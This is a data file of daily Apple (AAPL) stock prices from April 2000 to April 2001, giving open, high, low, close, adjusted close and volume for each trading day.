-2000-04-25,4.361607074737549,4.598214149475098,4.359375,4.582589149475098,3.987316608428955,97910400.0,AAPL -2000-04-26,4.5223212242126465,4.5714287757873535,4.285714149475098,4.332589149475098,3.769789457321167,91728000.0,AAPL -2000-04-27,4.185267925262451,4.535714149475098,4.163504600524902,4.526785850524902,3.938760280609131,81650800.0,AAPL -2000-04-28,4.5401787757873535,4.5535712242126465,4.332589149475098,4.4308037757873535,3.8552472591400146,62395200.0,AAPL -2000-05-01,4.4598212242126465,4.46875,4.3526787757873535,4.439732074737549,3.8630149364471436,56548800.0,AAPL -2000-05-02,4.401785850524902,4.5089287757873535,4.1964287757873535,4.2098212242126465,3.6629703044891357,59108000.0,AAPL -2000-05-03,4.247767925262451,4.330357074737549,3.986607074737549,4.109375,3.575570583343506,122449600.0,AAPL -2000-05-04,4.111607074737549,4.1160712242126465,3.9486606121063232,3.953125,3.4396181106567383,99878800.0,AAPL -2000-05-05,3.9575893878936768,4.098214149475098,3.9542410373687744,4.0401787757873535,3.5153634548187256,71019200.0,AAPL -2000-05-08,4.003348350524902,4.060267925262451,3.9285714626312256,3.9330356121063232,3.4221372604370117,46225200.0,AAPL -2000-05-09,3.939732074737549,3.9732143878936768,3.7455356121063232,3.765625,3.2764737606048584,81785200.0,AAPL -2000-05-10,3.716517925262451,3.75,3.5267856121063232,3.546875,3.086139440536499,133772800.0,AAPL -2000-05-11,3.6205356121063232,3.7232143878936768,3.5357143878936768,3.671875,3.194901466369629,124936000.0,AAPL -2000-05-12,3.7857143878936768,3.9464285373687744,3.7416293621063232,3.84375,3.3444504737854004,76728400.0,AAPL -2000-05-15,3.859375,3.859375,3.575892925262451,3.607142925262451,3.138578414916992,169733200.0,AAPL -2000-05-16,3.732700824737549,3.8950893878936768,3.669642925262451,3.7745535373687744,3.284242630004883,110112800.0,AAPL -2000-05-17,3.700892925262451,3.703125,3.5848214626312256,3.6205356121063232,3.1502318382263184,99523200.0,AAPL -2000-05-18,3.6785714626312256,3.747767925262451,3.59375,3.5982143878936768,3.1308090686798096,93444400.0,AAPL -2000-05-19,3.544642925262451,3.544642925262451,3.3348214626312256,3.357142925262451,2.921053171157837,185166800.0,AAPL -2000-05-22,3.3482143878936768,3.3482143878936768,3.0714285373687744,3.2120535373687744,2.7948105335235596,188876800.0,AAPL -2000-05-23,3.232142925262451,3.3348214626312256,3.0580356121063232,3.064732074737549,2.6666269302368164,129396400.0,AAPL -2000-05-24,3.078125,3.205357074737549,2.9642856121063232,3.1316964626312256,2.7248923778533936,169615600.0,AAPL -2000-05-25,3.1607143878936768,3.3091518878936768,3.0714285373687744,3.1166293621063232,2.7117819786071777,101687600.0,AAPL -2000-05-26,3.142857074737549,3.2098214626312256,3.044642925262451,3.0848214626312256,2.6841061115264893,45287200.0,AAPL -2000-05-30,3.1294643878936768,3.1473214626312256,2.919642925262451,3.127232074737549,2.721008062362671,178264800.0,AAPL -2000-05-31,3.1026785373687744,3.2589285373687744,2.9933035373687744,3.0,2.610302686691284,108376800.0,AAPL -2000-06-01,2.919642925262451,3.1986606121063232,2.8705356121063232,3.1830356121063232,2.7695627212524414,225960000.0,AAPL -2000-06-02,3.3482143878936768,3.5625,3.1785714626312256,3.3058035373687744,2.87638258934021,198212000.0,AAPL -2000-06-05,3.3325893878936768,3.4017856121063232,3.203125,3.2611606121063232,2.837538480758667,80917200.0,AAPL -2000-06-06,3.2845981121063232,3.455357074737549,3.2254464626312256,3.3169643878936768,2.886093854904175,131370400.0,AAPL -2000-06-07,3.34375,3.4642856121063232,3.2723214626312256,3.4486606121063232,3.000682830810547,84254800.0,AAPL -2000-06-08,3.486607074737549,3.517857074737549,3.325892925262451,3.3861606121063232,2.946301221847534,59631600.0,AAPL -2000-06-09,3.455357074737549,3.497767925262451,3.3705356121063232,3.419642925262451,2.9754347801208496,63089600.0,AAPL -2000-06-12,3.4419643878936768,3.4441964626312256,3.2455356121063232,3.2566964626312256,2.8336544036865234,72584400.0,AAPL -2000-06-13,3.2566964626312256,3.3816964626312256,3.1495535373687744,3.375,2.9365906715393066,87864000.0,AAPL -2000-06-14,3.3816964626312256,3.4375,3.21875,3.2299106121063232,2.8103487491607666,69361600.0,AAPL -2000-06-15,3.2589285373687744,3.3348214626312256,3.1785714626312256,3.299107074737549,2.870556354522705,62143200.0,AAPL -2000-06-16,3.3392856121063232,3.3482143878936768,3.1808035373687744,3.2566964626312256,2.8336544036865234,75891200.0,AAPL -2000-06-19,3.234375,3.4955356121063232,3.2075893878936768,3.450892925262451,3.0026252269744873,98501200.0,AAPL -2000-06-20,3.517857074737549,3.7120535373687744,3.513392925262451,3.6160714626312256,3.1463472843170166,125347600.0,AAPL -2000-06-21,3.607142925262451,4.066964149475098,3.59375,3.9732143878936768,3.4570980072021484,122500000.0,AAPL -2000-06-22,3.982142925262451,4.1160712242126465,3.825892925262451,3.8392856121063232,3.3405656814575195,116928000.0,AAPL -2000-06-23,3.841517925262451,3.9017856121063232,3.6294643878936768,3.6919643878936768,3.212380886077881,51241400.0,AAPL -2000-06-26,3.75,3.9107143878936768,3.7232143878936768,3.8660714626312256,3.3638722896575928,46338600.0,AAPL -2000-06-27,3.841517925262451,3.9642856121063232,3.6875,3.6964285373687744,3.216265916824341,50867600.0,AAPL -2000-06-28,3.8080356121063232,3.955357074737549,3.6785714626312256,3.888392925262451,3.3832943439483643,71607200.0,AAPL -2000-06-29,3.7901785373687744,3.8526785373687744,3.6473214626312256,3.6607143878936768,3.1851909160614014,50915200.0,AAPL -2000-06-30,3.7723214626312256,3.924107074737549,3.6919643878936768,3.7410714626312256,3.2551097869873047,80774400.0,AAPL -2000-07-03,3.7232143878936768,3.8794643878936768,3.7232143878936768,3.8080356121063232,3.3133749961853027,17707200.0,AAPL -2000-07-05,3.8035714626312256,3.9419643878936768,3.625,3.6875,3.2084970474243164,66304000.0,AAPL -2000-07-06,3.75,3.78125,3.544642925262451,3.700892925262451,3.2201502323150635,77386400.0,AAPL -2000-07-07,3.7566964626312256,3.9151785373687744,3.7232143878936768,3.888392925262451,3.3832943439483643,65900800.0,AAPL -2000-07-10,3.8638393878936768,4.160714149475098,3.8392856121063232,4.080357074737549,3.550323009490967,99449000.0,AAPL -2000-07-11,4.0714287757873535,4.232142925262451,3.9598214626312256,4.066964149475098,3.5386693477630615,89474000.0,AAPL -2000-07-12,4.151785850524902,4.2098212242126465,4.026785850524902,4.205357074737549,3.659085512161255,56358400.0,AAPL -2000-07-13,4.1785712242126465,4.330357074737549,3.9107143878936768,4.035714149475098,3.511478900909424,111414800.0,AAPL -2000-07-14,4.080357074737549,4.214285850524902,4.0625,4.120535850524902,3.5852818489074707,47569200.0,AAPL -2000-07-17,4.160714149475098,4.200892925262451,4.080357074737549,4.1651787757873535,3.624126434326172,65000600.0,AAPL -2000-07-18,4.1785712242126465,4.205357074737549,4.0625,4.089285850524902,3.558091640472412,79601200.0,AAPL -2000-07-19,3.9419643878936768,4.058035850524902,3.6964285373687744,3.763392925262451,3.274531841278076,114468200.0,AAPL -2000-07-20,3.9285714626312256,4.075892925262451,3.8660714626312256,3.9375,3.4260222911834717,116393200.0,AAPL -2000-07-21,3.8828125,3.9732143878936768,3.78125,3.825892925262451,3.3289127349853516,49058800.0,AAPL -2000-07-24,3.7544643878936768,3.7767856121063232,3.392857074737549,3.4776785373687744,3.0259320735931396,103042800.0,AAPL -2000-07-25,3.59375,3.6160714626312256,3.5044643878936768,3.575892925262451,3.1113877296447754,52901800.0,AAPL -2000-07-26,3.560267925262451,3.6607143878936768,3.517857074737549,3.575892925262451,3.1113877296447754,52617600.0,AAPL -2000-07-27,3.5714285373687744,3.8035714626312256,3.5625,3.7142856121063232,3.2318031787872314,73746400.0,AAPL -2000-07-28,3.734375,3.75,3.3482143878936768,3.450892925262451,3.0026252269744873,59473400.0,AAPL -2000-07-31,3.5111606121063232,3.6875,3.482142925262451,3.6294643878936768,3.1580002307891846,38824800.0,AAPL -2000-08-01,3.59375,3.654017925262451,3.517857074737549,3.5223214626312256,3.064775228500366,34321000.0,AAPL -2000-08-02,3.5,3.5669643878936768,3.3705356121063232,3.375,2.9365906715393066,40588800.0,AAPL -2000-08-03,3.2544643878936768,3.4330356121063232,3.1607143878936768,3.4285714626312256,2.983203411102295,84974400.0,AAPL -2000-08-04,3.533482074737549,3.6607143878936768,3.3080356121063232,3.3839285373687744,2.944359064102173,65780400.0,AAPL -2000-08-07,3.419642925262451,3.5044643878936768,3.3705356121063232,3.424107074737549,2.9793190956115723,46837000.0,AAPL -2000-08-08,3.424107074737549,3.4285714626312256,3.3080356121063232,3.3392856121063232,2.905515670776367,44168600.0,AAPL -2000-08-09,3.4375,3.4598214626312256,3.375,3.392857074737549,2.9521284103393555,94910200.0,AAPL -2000-08-10,3.4285714626312256,3.4598214626312256,3.3839285373687744,3.3973214626312256,2.95601224899292,62928600.0,AAPL -2000-08-11,3.345982074737549,3.4285714626312256,3.2544643878936768,3.40625,2.9637811183929443,59514000.0,AAPL -2000-08-14,3.3995535373687744,3.40625,3.3080356121063232,3.361607074737549,2.924938201904297,39165000.0,AAPL -2000-08-15,3.375,3.424107074737549,3.3214285373687744,3.3348214626312256,2.9016311168670654,28550200.0,AAPL -2000-08-16,3.3482143878936768,3.5,3.34375,3.4642856121063232,3.0142784118652344,35918400.0,AAPL -2000-08-17,3.455357074737549,3.7455356121063232,3.450892925262451,3.674107074737549,3.196843385696411,67725000.0,AAPL -2000-08-18,3.669642925262451,3.700892925262451,3.5625,3.5714285373687744,3.1075029373168945,47544000.0,AAPL -2000-08-21,3.5892856121063232,3.6830356121063232,3.544642925262451,3.607142925262451,3.138578414916992,33616800.0,AAPL -2000-08-22,3.6160714626312256,3.7723214626312256,3.5982143878936768,3.6919643878936768,3.212380886077881,69200600.0,AAPL -2000-08-23,3.6763393878936768,3.9107143878936768,3.6473214626312256,3.8794643878936768,3.3755252361297607,59215800.0,AAPL -2000-08-24,3.9051339626312256,4.044642925262451,3.8125,4.0078125,3.487201690673828,77691600.0,AAPL -2000-08-25,4.035714149475098,4.107142925262451,4.026785850524902,4.058035850524902,3.530900001525879,83615000.0,AAPL -2000-08-28,4.089285850524902,4.214285850524902,4.075892925262451,4.1473212242126465,3.608588933944702,89751200.0,AAPL -2000-08-29,4.1339287757873535,4.245535850524902,4.120535850524902,4.2276787757873535,3.678506851196289,66757600.0,AAPL -2000-08-30,4.214285850524902,4.285714149475098,4.193080425262451,4.25,3.6979289054870605,71348200.0,AAPL -2000-08-31,4.2120537757873535,4.392857074737549,4.2098212242126465,4.3526787757873535,3.7872700691223145,104899200.0,AAPL -2000-09-01,4.379464149475098,4.544642925262451,4.3660712242126465,4.53125,3.942645311355591,64218000.0,AAPL -2000-09-05,4.4754462242126465,4.580357074737549,4.4464287757873535,4.4598212242126465,3.8804943561553955,74660600.0,AAPL -2000-09-06,4.3839287757873535,4.455357074737549,4.125,4.174107074737549,3.63189435005188,88851000.0,AAPL -2000-09-07,4.223214149475098,4.46875,4.160714149475098,4.4285712242126465,3.853304862976074,54366200.0,AAPL -2000-09-08,4.401785850524902,4.401785850524902,4.1785712242126465,4.205357074737549,3.659085512161255,48879600.0,AAPL -2000-09-11,4.191964149475098,4.3125,4.151785850524902,4.174107074737549,3.63189435005188,46845400.0,AAPL -2000-09-12,4.095982074737549,4.2901787757873535,4.0714287757873535,4.125,3.5891659259796143,46999400.0,AAPL -2000-09-13,4.0535712242126465,4.25,4.0535712242126465,4.142857074737549,3.604703903198242,76496000.0,AAPL -2000-09-14,4.183035850524902,4.2589287757873535,4.058035850524902,4.0613837242126465,3.533813953399658,106638000.0,AAPL -2000-09-15,4.125,4.15625,3.875,3.9453125,3.4328203201293945,98628600.0,AAPL -2000-09-18,3.9464285373687744,4.339285850524902,3.9330356121063232,4.332589149475098,3.769789457321167,106134000.0,AAPL -2000-09-19,4.267857074737549,4.3214287757873535,4.183035850524902,4.28125,3.7251195907592773,67877600.0,AAPL -2000-09-20,4.2433037757873535,4.388392925262451,4.183035850524902,4.3604912757873535,3.794067144393921,56847000.0,AAPL -2000-09-21,4.1785712242126465,4.2589287757873535,3.9464285373687744,4.049107074737549,3.523131847381592,127622600.0,AAPL -2000-09-22,3.59375,3.7455356121063232,3.5714285373687744,3.7276785373687744,3.2434568405151367,181675200.0,AAPL -2000-09-25,3.767857074737549,3.9642856121063232,3.71875,3.8214285373687744,3.325028896331787,108887800.0,AAPL -2000-09-26,3.8080356121063232,3.9107143878936768,3.669642925262451,3.674107074737549,3.196843385696411,72734200.0,AAPL -2000-09-27,3.6964285373687744,3.767857074737549,3.4464285373687744,3.4955356121063232,3.0414693355560303,100564800.0,AAPL -2000-09-28,3.5223214626312256,3.84375,3.4375,3.8214285373687744,3.325028896331787,244896400.0,AAPL -2000-09-29,2.013392925262451,2.0714285373687744,1.8125,1.8392857313156128,1.600364327430725,1855410200.0,AAPL -2000-10-02,1.90625,1.9107142686843872,1.6785714626312256,1.7321428060531616,1.5071392059326172,606197200.0,AAPL -2000-10-03,1.78125,1.7857142686843872,1.5848214626312256,1.59375,1.3867233991622925,509530000.0,AAPL -2000-10-04,1.5982142686843872,1.6964285373687744,1.5625,1.6875,1.4682953357696533,366506000.0,AAPL -2000-10-05,1.6785714626312256,1.75,1.5714285373687744,1.5758928060531616,1.371186375617981,218251600.0,AAPL -2000-10-06,1.6205357313156128,1.6383928060531616,1.5,1.5848214626312256,1.3789544105529785,153164200.0,AAPL -2000-10-09,1.6160714626312256,1.6339285373687744,1.5089285373687744,1.5535714626312256,1.3517639636993408,149391200.0,AAPL -2000-10-10,1.5446428060531616,1.6026785373687744,1.4642857313156128,1.4910714626312256,1.2973827123641968,172775400.0,AAPL -2000-10-11,1.4375,1.5,1.3660714626312256,1.4017857313156128,1.2196950912475586,299605600.0,AAPL -2000-10-12,1.4508928060531616,1.4866071939468384,1.3928571939468384,1.4285714626312256,1.2430016994476318,297766000.0,AAPL -2000-10-13,1.4464285373687744,1.5803571939468384,1.4285714626312256,1.5758928060531616,1.371186375617981,311938200.0,AAPL -2000-10-16,1.59375,1.6607142686843872,1.5267857313156128,1.5357142686843872,1.3362265825271606,205044000.0,AAPL -2000-10-17,1.5491071939468384,1.5669642686843872,1.40625,1.4375,1.2507702112197876,150430000.0,AAPL -2000-10-18,1.3883928060531616,1.5044642686843872,1.3392857313156128,1.4375,1.2507702112197876,208566400.0,AAPL -2000-10-19,1.3683035373687744,1.4151785373687744,1.3080357313156128,1.3526785373687744,1.1769667863845825,376681200.0,AAPL -2000-10-20,1.3616071939468384,1.4553571939468384,1.3526785373687744,1.3928571939468384,1.2119262218475342,197815800.0,AAPL -2000-10-23,1.4475446939468384,1.46875,1.3883928060531616,1.4553571939468384,1.2663077116012573,137823000.0,AAPL -2000-10-24,1.4776785373687744,1.4910714626312256,1.34375,1.3482142686843872,1.1730823516845703,201112800.0,AAPL -2000-10-25,1.3616071939468384,1.3705357313156128,1.3169642686843872,1.3214285373687744,1.1497761011123657,165992400.0,AAPL -2000-10-26,1.34375,1.3482142686843872,1.25,1.3214285373687744,1.1497761011123657,180462800.0,AAPL -2000-10-27,1.3482142686843872,1.3705357313156128,1.2767857313156128,1.3258928060531616,1.1536606550216675,186125800.0,AAPL -2000-10-30,1.3660714626312256,1.4241071939468384,1.3392857313156128,1.3794642686843872,1.2002732753753662,159797400.0,AAPL -2000-10-31,1.4107142686843872,1.4464285373687744,1.375,1.3973214626312256,1.2158106565475464,221470200.0,AAPL -2000-11-01,1.3883928060531616,1.4910714626312256,1.3883928060531616,1.4642857313156128,1.274076223373413,143841600.0,AAPL -2000-11-02,1.5089285373687744,1.6026785373687744,1.5044642686843872,1.59375,1.3867233991622925,147673400.0,AAPL -2000-11-03,1.6428571939468384,1.6428571939468384,1.5669642686843872,1.5892857313156128,1.3828390836715698,128955400.0,AAPL -2000-11-06,1.6026785373687744,1.6160714626312256,1.4910714626312256,1.53125,1.3323420286178589,98369600.0,AAPL -2000-11-07,1.5357142686843872,1.5580357313156128,1.4866071939468384,1.5223214626312256,1.3245733976364136,75490800.0,AAPL -2000-11-08,1.5267857313156128,1.53125,1.4151785373687744,1.4330357313156128,1.2468856573104858,105522200.0,AAPL -2000-11-09,1.4196428060531616,1.4642857313156128,1.3616071939468384,1.4419642686843872,1.2546544075012207,119208600.0,AAPL -2000-11-10,1.3828125,1.4196428060531616,1.3616071939468384,1.3616071939468384,1.1847355365753174,105562800.0,AAPL -2000-11-13,1.3392857313156128,1.4285714626312256,1.3035714626312256,1.3839285373687744,1.2041573524475098,107954000.0,AAPL -2000-11-14,1.4241071939468384,1.4642857313156128,1.3973214626312256,1.4464285373687744,1.2585391998291016,102250400.0,AAPL -2000-11-15,1.4308035373687744,1.4419642686843872,1.375,1.4196428060531616,1.2352327108383179,70589400.0,AAPL -2000-11-16,1.3928571939468384,1.4151785373687744,1.3482142686843872,1.3571428060531616,1.1808511018753052,59843000.0,AAPL -2000-11-17,1.3705357313156128,1.375,1.3035714626312256,1.3214285373687744,1.1497761011123657,111545000.0,AAPL -2000-11-20,1.328125,1.3928571939468384,1.3035714626312256,1.3526785373687744,1.1769667863845825,102016600.0,AAPL -2000-11-21,1.3705357313156128,1.3928571939468384,1.3392857313156128,1.34375,1.1691983938217163,75488000.0,AAPL -2000-11-22,1.34375,1.3660714626312256,1.3125,1.3214285373687744,1.1497761011123657,70133000.0,AAPL -2000-11-24,1.3470982313156128,1.3928571939468384,1.34375,1.3794642686843872,1.2002732753753662,40233200.0,AAPL -2000-11-27,1.4196428060531616,1.4241071939468384,1.3214285373687744,1.3348214626312256,1.1614291667938232,64698200.0,AAPL -2000-11-28,1.3348214626312256,1.3571428060531616,1.28125,1.2879464626312256,1.1206430196762085,67281200.0,AAPL -2000-11-29,1.2924107313156128,1.3080357313156128,1.2321428060531616,1.2544642686843872,1.0915106534957886,123037600.0,AAPL -2000-11-30,1.1919642686843872,1.2142857313156128,1.1517857313156128,1.1785714626312256,1.0254758596420288,202399400.0,AAPL -2000-12-01,1.2142857313156128,1.25,1.2008928060531616,1.21875,1.0604356527328491,96426400.0,AAPL -2000-12-04,1.2276785373687744,1.2276785373687744,1.1741071939468384,1.1919642686843872,1.037129282951355,92880200.0,AAPL -2000-12-05,1.2098214626312256,1.2455357313156128,1.1696428060531616,1.2142857313156128,1.0565510988235474,153494600.0,AAPL -2000-12-06,1.0446428060531616,1.0714285373687744,1.0,1.0223214626312256,0.889522910118103,343616000.0,AAPL -2000-12-07,1.03125,1.0625,1.0,1.0223214626312256,0.889522910118103,102229400.0,AAPL -2000-12-08,1.0580357313156128,1.09375,1.03125,1.0758928060531616,0.9361354112625122,108906000.0,AAPL -2000-12-11,1.0848214626312256,1.0982142686843872,1.0625,1.0848214626312256,0.9439039826393127,83127800.0,AAPL -2000-12-12,1.0892857313156128,1.1428571939468384,1.0714285373687744,1.0982142686843872,0.9555574655532837,96565000.0,AAPL -2000-12-13,1.1116071939468384,1.1116071939468384,1.0625,1.0714285373687744,0.9322507977485657,86221800.0,AAPL -2000-12-14,1.0736607313156128,1.0892857313156128,1.03125,1.03125,0.8972914814949036,65829400.0,AAPL -2000-12-15,1.0401785373687744,1.0491071939468384,1.0,1.0044642686843872,0.873985230922699,128486400.0,AAPL -2000-12-18,1.0401785373687744,1.0446428060531616,0.9955357313156128,1.0178571939468384,0.8856388330459595,81452000.0,AAPL -2000-12-19,1.0267857313156128,1.0892857313156128,1.0,1.0,0.8701008558273315,93501800.0,AAPL -2000-12-20,0.984375,1.0446428060531616,0.9732142686843872,1.0267857313156128,0.8934072256088257,141332800.0,AAPL -2000-12-21,1.0178571939468384,1.0714285373687744,0.9910714030265808,1.0044642686843872,0.873985230922699,91711200.0,AAPL -2000-12-22,1.0089285373687744,1.0714285373687744,1.0089285373687744,1.0714285373687744,0.9322507977485657,79513000.0,AAPL -2000-12-26,1.0625,1.0714285373687744,1.0178571939468384,1.0491071939468384,0.9128291010856628,54203800.0,AAPL -2000-12-27,1.0245535373687744,1.0580357313156128,1.0133928060531616,1.0580357313156128,0.9205979108810425,81366600.0,AAPL -2000-12-28,1.0267857313156128,1.0669642686843872,1.0223214626312256,1.0580357313156128,0.9205979108810425,76294400.0,AAPL -2000-12-29,1.0491071939468384,1.0714285373687744,1.0357142686843872,1.0625,0.9244822263717651,157584000.0,AAPL -2001-01-02,1.0625,1.0892857313156128,1.0401785373687744,1.0625,0.9244822263717651,113078000.0,AAPL -2001-01-03,1.0357142686843872,1.1919642686843872,1.03125,1.1696428060531616,1.0177072286605835,204268400.0,AAPL -2001-01-04,1.2957589626312256,1.3214285373687744,1.2008928060531616,1.21875,1.0604356527328491,184849000.0,AAPL -2001-01-05,1.2098214626312256,1.2410714626312256,1.1473214626312256,1.1696428060531616,1.0177072286605835,103089000.0,AAPL -2001-01-08,1.2098214626312256,1.2131696939468384,1.1383928060531616,1.1830357313156128,1.0293607711791992,93424800.0,AAPL -2001-01-09,1.2008928060531616,1.2600446939468384,1.1830357313156128,1.2276785373687744,1.0682041645050049,147232400.0,AAPL -2001-01-10,1.1919642686843872,1.2142857313156128,1.1473214626312256,1.1830357313156128,1.0293607711791992,145195400.0,AAPL -2001-01-11,1.1607142686843872,1.3214285373687744,1.1607142686843872,1.2857142686843872,1.1187011003494263,200933600.0,AAPL -2001-01-12,1.2767857313156128,1.2857142686843872,1.21875,1.2276785373687744,1.0682041645050049,105844200.0,AAPL -2001-01-16,1.2455357313156128,1.3035714626312256,1.2142857313156128,1.2232142686843872,1.0643199682235718,76529600.0,AAPL -2001-01-17,1.2544642686843872,1.2544642686843872,1.1785714626312256,1.2008928060531616,1.0448979139328003,210218400.0,AAPL -2001-01-18,1.2723214626312256,1.3392857313156128,1.2589285373687744,1.3348214626312256,1.1614291667938232,306752600.0,AAPL -2001-01-19,1.3883928060531616,1.3973214626312256,1.3348214626312256,1.3928571939468384,1.2119262218475342,194166000.0,AAPL -2001-01-22,1.3616071939468384,1.4017857313156128,1.3169642686843872,1.375,1.1963889598846436,129831800.0,AAPL -2001-01-23,1.3794642686843872,1.4955357313156128,1.3616071939468384,1.4642857313156128,1.274076223373413,219882600.0,AAPL -2001-01-24,1.4732142686843872,1.4776785373687744,1.3973214626312256,1.4642857313156128,1.274076223373413,179272800.0,AAPL -2001-01-25,1.46875,1.46875,1.4107142686843872,1.4241071939468384,1.2391167879104614,122427200.0,AAPL -2001-01-26,1.3928571939468384,1.4151785373687744,1.3616071939468384,1.3973214626312256,1.2158106565475464,120705200.0,AAPL -2001-01-29,1.3973214626312256,1.5535714626312256,1.3973214626312256,1.5491071939468384,1.3478795289993286,213882200.0,AAPL -2001-01-30,1.5401785373687744,1.5714285373687744,1.4910714626312256,1.5535714626312256,1.3517639636993408,173105800.0,AAPL -2001-01-31,1.5357142686843872,1.6071428060531616,1.53125,1.5446428060531616,1.3439950942993164,182676200.0,AAPL -2001-02-01,1.4776785373687744,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.312920331954956,92423800.0,AAPL -2001-02-02,1.5089285373687744,1.5669642686843872,1.4642857313156128,1.4732142686843872,1.2818450927734375,106835400.0,AAPL -2001-02-05,1.4642857313156128,1.46875,1.4107142686843872,1.4419642686843872,1.2546544075012207,71528800.0,AAPL -2001-02-06,1.4397321939468384,1.5279017686843872,1.4285714626312256,1.5089285373687744,1.312920331954956,115677800.0,AAPL -2001-02-07,1.4754464626312256,1.4910714626312256,1.4151785373687744,1.4821428060531616,1.2896136045455933,98471800.0,AAPL -2001-02-08,1.46875,1.5044642686843872,1.4419642686843872,1.4821428060531616,1.2896136045455933,151032000.0,AAPL -2001-02-09,1.4642857313156128,1.4866071939468384,1.3348214626312256,1.3660714626312256,1.1886197328567505,147520800.0,AAPL -2001-02-12,1.3616071939468384,1.4285714626312256,1.34375,1.40625,1.2235792875289917,68530000.0,AAPL -2001-02-13,1.4241071939468384,1.4598214626312256,1.3571428060531616,1.3660714626312256,1.1886197328567505,59267600.0,AAPL -2001-02-14,1.3705357313156128,1.4017857313156128,1.3214285373687744,1.3928571939468384,1.2119262218475342,77280000.0,AAPL -2001-02-15,1.40625,1.46875,1.40625,1.4330357313156128,1.2468856573104858,77854000.0,AAPL -2001-02-16,1.3571428060531616,1.3928571939468384,1.3392857313156128,1.3571428060531616,1.1808511018753052,65977800.0,AAPL -2001-02-20,1.3705357313156128,1.3883928060531616,1.2991071939468384,1.3080357313156128,1.1381230354309082,78723400.0,AAPL -2001-02-21,1.3035714626312256,1.4241071939468384,1.3035714626312256,1.3482142686843872,1.1730823516845703,97564600.0,AAPL -2001-02-22,1.3616071939468384,1.3839285373687744,1.2857142686843872,1.34375,1.1691983938217163,107990400.0,AAPL -2001-02-23,1.3303571939468384,1.3482142686843872,1.3035714626312256,1.34375,1.1691983938217163,73466400.0,AAPL -2001-02-26,1.3616071939468384,1.40625,1.3258928060531616,1.3928571939468384,1.2119262218475342,51609600.0,AAPL -2001-02-27,1.3772321939468384,1.3883928060531616,1.3348214626312256,1.3839285373687744,1.2041573524475098,87129000.0,AAPL -2001-02-28,1.3839285373687744,1.3883928060531616,1.2946428060531616,1.3035714626312256,1.134238839149475,127058400.0,AAPL -2001-03-01,1.2723214626312256,1.3392857313156128,1.2276785373687744,1.3392857313156128,1.165313959121704,82615400.0,AAPL -2001-03-02,1.3080357313156128,1.4598214626312256,1.3035714626312256,1.375,1.1963889598846436,101550400.0,AAPL -2001-03-05,1.3839285373687744,1.4642857313156128,1.375,1.4553571939468384,1.2663077116012573,81043200.0,AAPL -2001-03-06,1.4799107313156128,1.5758928060531616,1.4776785373687744,1.5357142686843872,1.3362265825271606,182950600.0,AAPL -2001-03-07,1.5223214626312256,1.5446428060531616,1.4821428060531616,1.5178571939468384,1.3206889629364014,104885200.0,AAPL -2001-03-08,1.4776785373687744,1.5089285373687744,1.4598214626312256,1.4866071939468384,1.2934983968734741,51214800.0,AAPL -2001-03-09,1.4732142686843872,1.4776785373687744,1.4285714626312256,1.4464285373687744,1.2585391998291016,74783800.0,AAPL -2001-03-12,1.40625,1.4196428060531616,1.2946428060531616,1.3303571939468384,1.1575448513031006,97755000.0,AAPL -2001-03-13,1.3482142686843872,1.3973214626312256,1.2991071939468384,1.3973214626312256,1.2158106565475464,110832400.0,AAPL -2001-03-14,1.3214285373687744,1.4642857313156128,1.3169642686843872,1.4598214626312256,1.27019202709198,119443800.0,AAPL -2001-03-15,1.4910714626312256,1.5267857313156128,1.40625,1.40625,1.2235792875289917,132329400.0,AAPL -2001-03-16,1.3571428060531616,1.4508928060531616,1.3482142686843872,1.4017857313156128,1.2196950912475586,117579000.0,AAPL -2001-03-19,1.4107142686843872,1.4732142686843872,1.3928571939468384,1.46875,1.2779607772827148,89002200.0,AAPL -2001-03-20,1.4799107313156128,1.4955357313156128,1.40625,1.40625,1.2235792875289917,124801600.0,AAPL -2001-03-21,1.4129464626312256,1.4910714626312256,1.3839285373687744,1.4375,1.2507702112197876,92843800.0,AAPL -2001-03-22,1.4553571939468384,1.5535714626312256,1.4419642686843872,1.5446428060531616,1.3439950942993164,180825400.0,AAPL -2001-03-23,1.5758928060531616,1.6830357313156128,1.5714285373687744,1.6428571939468384,1.4294512271881104,236222000.0,AAPL -2001-03-26,1.652142882347107,1.6964285373687744,1.5092856884002686,1.5557142496109009,1.3536285161972046,183612800.0,AAPL -2001-03-27,1.5671428442001343,1.6464285850524902,1.5642857551574707,1.6335713863372803,1.4213716983795166,135955400.0,AAPL -2001-03-28,1.5771428346633911,1.6071428060531616,1.5357142686843872,1.583571434020996,1.3778669834136963,146165600.0,AAPL -2001-03-29,1.5549999475479126,1.6749999523162842,1.5357142686843872,1.6092857122421265,1.4002410173416138,153266400.0,AAPL -2001-03-30,1.610714316368103,1.6228570938110352,1.5242856740951538,1.5764285326004028,1.3716521263122559,100087400.0,AAPL -2001-04-02,1.5778571367263794,1.618571400642395,1.5285714864730835,1.5421428680419922,1.3418200016021729,85227800.0,AAPL -2001-04-03,1.5257142782211304,1.5285714864730835,1.4378571510314941,1.4457142353057861,1.2579171657562256,92171800.0,AAPL -2001-04-04,1.4114285707473755,1.4464285373687744,1.3392857313156128,1.3928571939468384,1.2119262218475342,171371200.0,AAPL -2001-04-05,1.4714285135269165,1.6071428060531616,1.4285714626312256,1.4907143115997314,1.297071933746338,111690600.0,AAPL -2001-04-06,1.485714316368103,1.5028570890426636,1.4214285612106323,1.4707143306732178,1.279670000076294,81222400.0,AAPL -2001-04-09,1.4778571128845215,1.5242856740951538,1.4328571557998657,1.4671428203582764,1.2765624523162842,66645600.0,AAPL -2001-04-10,1.4928570985794067,1.6214286088943481,1.4842857122421265,1.5742857456207275,1.369787573814392,114343600.0,AAPL -2001-04-11,1.6414285898208618,1.6428571939468384,1.5199999809265137,1.5571428537368774,1.354871392250061,83524000.0,AAPL -2001-04-12,1.5299999713897705,1.6442856788635254,1.5107142925262451,1.6014286279678345,1.393404483795166,74733400.0,AAPL -2001-04-16,1.5778571367263794,1.600000023841858,1.4900000095367432,1.531428575515747,1.3324973583221436,71306200.0,AAPL -2001-04-17,1.514285683631897,1.5149999856948853,1.399999976158142,1.4571428298950195,1.2678613662719727,171299800.0,AAPL -2001-04-18,1.5407142639160156,1.7200000286102295,1.5057142972946167,1.6278570890426636,1.416399598121643,275210600.0,AAPL -2001-04-19,1.8250000476837158,1.8392857313156128,1.6857142448425293,1.837142825126648,1.5984996557235718,468417600.0,AAPL -2001-04-20,1.7807142734527588,1.8307143449783325,1.7571429014205933,1.7885714769363403,1.5562379360198975,173350800.0,AAPL -2001-04-23,1.7385714054107666,1.7857142686843872,1.7142857313156128,1.7321428060531616,1.5071392059326172,135381400.0,AAPL 